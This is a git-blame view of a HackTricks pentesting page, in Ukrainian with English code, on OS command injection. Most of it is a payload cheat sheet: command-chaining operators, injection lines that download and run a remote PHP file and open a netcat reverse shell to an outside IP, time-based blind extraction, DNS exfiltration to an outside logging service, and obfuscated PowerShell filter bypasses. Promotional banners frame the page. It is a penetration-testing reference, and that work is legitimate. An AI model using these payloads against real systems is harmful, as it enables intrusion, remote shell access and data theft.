hacktricks/pentesting-web/command-injection.md

181 lines
8.9 KiB
Markdown
Raw Normal View History

2024-04-06 19:41:21 +00:00
# Command Injection
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2023-12-31 01:25:17 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2024-03-29 18:49:46 +00:00
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих інструментів спільноти** у світі.\
Отримайте доступ сьогодні:
2022-10-27 23:22:18 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2024-03-29 18:49:46 +00:00
## Що таке внедрення команд?
2024-03-29 18:49:46 +00:00
**Внедрення команд** дозволяє виконання довільних команд операційної системи зловмиснику на сервері, на якому розміщується додаток. В результаті додаток та вся його інформація можуть бути повністю компрометовані. Виконання цих команд зазвичай дозволяє зловмиснику отримати несанкціонований доступ або контроль над середовищем додатка та базовою системою.
2024-03-29 18:49:46 +00:00
### Контекст
2024-03-29 18:49:46 +00:00
Залежно від **того, куди ви вводите дані для внедрення**, вам може знадобитися **завершити контекст у лапках** (використовуючи `"` або `'`) перед командами.
2024-03-29 18:49:46 +00:00
## Внедрення/Виконання команд
2024-04-06 19:41:21 +00:00
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
2022-10-02 23:08:05 +00:00
ls${LS_COLORS:10:1}${IFS}id # Might be useful
2022-10-10 00:18:23 +00:00
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
### **Обмеження** обхід
2024-03-29 18:49:46 +00:00
Якщо ви намагаєтеся виконати **довільні команди всередині машини з операційною системою Linux**, вам буде цікаво прочитати про ці **Обхідні шляхи:**
2024-04-06 19:41:21 +00:00
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
2022-10-02 23:08:05 +00:00
{% endcontent-ref %}
2024-03-29 18:49:46 +00:00
### **Приклади**
2024-04-06 19:41:21 +00:00
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
### Параметри
2024-03-29 18:49:46 +00:00
Ось топ-25 параметрів, які можуть бути вразливими до ін'єкції коду та подібних вразливостей RCE (з [посилання](https://twitter.com/trbughunters/status/1283133356922884096)):
2024-04-06 19:41:21 +00:00
```
2020-07-29 09:22:22 +00:00
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
### Часовий вивід даних
2020-07-29 09:22:22 +00:00
2024-03-29 18:49:46 +00:00
Видобуття даних: посимвольно
2024-04-06 19:41:21 +00:00
```
2021-06-25 16:50:01 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
### Ексфільтрація даних на основі DNS
2021-06-25 16:50:01 +00:00
2024-03-29 18:49:46 +00:00
На основі інструменту з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca
2024-04-06 19:41:21 +00:00
```
2021-06-25 16:50:01 +00:00
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
2021-06-25 16:50:01 +00:00
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2024-04-06 19:41:21 +00:00
2024-03-29 18:49:46 +00:00
Онлайн-інструменти для перевірки витоку даних на основі DNS:
2021-06-25 16:50:01 +00:00
* dnsbin.zhack.ca
* pingb.in
2024-03-29 18:49:46 +00:00
### Обхід фільтрації
2021-06-25 16:50:01 +00:00
2022-05-01 13:25:53 +00:00
#### Windows
2024-04-06 19:41:21 +00:00
```
2022-04-05 22:24:52 +00:00
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
2021-06-25 16:50:01 +00:00
```
2024-04-06 19:41:21 +00:00
2022-05-01 13:25:53 +00:00
#### Linux
2021-06-25 16:50:01 +00:00
2024-04-06 19:41:21 +00:00
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}
2021-06-25 16:50:01 +00:00
2024-03-29 18:49:46 +00:00
## Список виявлення перебору
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
2021-06-27 21:56:13 +00:00
2024-03-29 18:49:46 +00:00
## Посилання
2024-02-06 03:10:38 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2023-12-31 01:25:17 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-03-29 18:49:46 +00:00
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}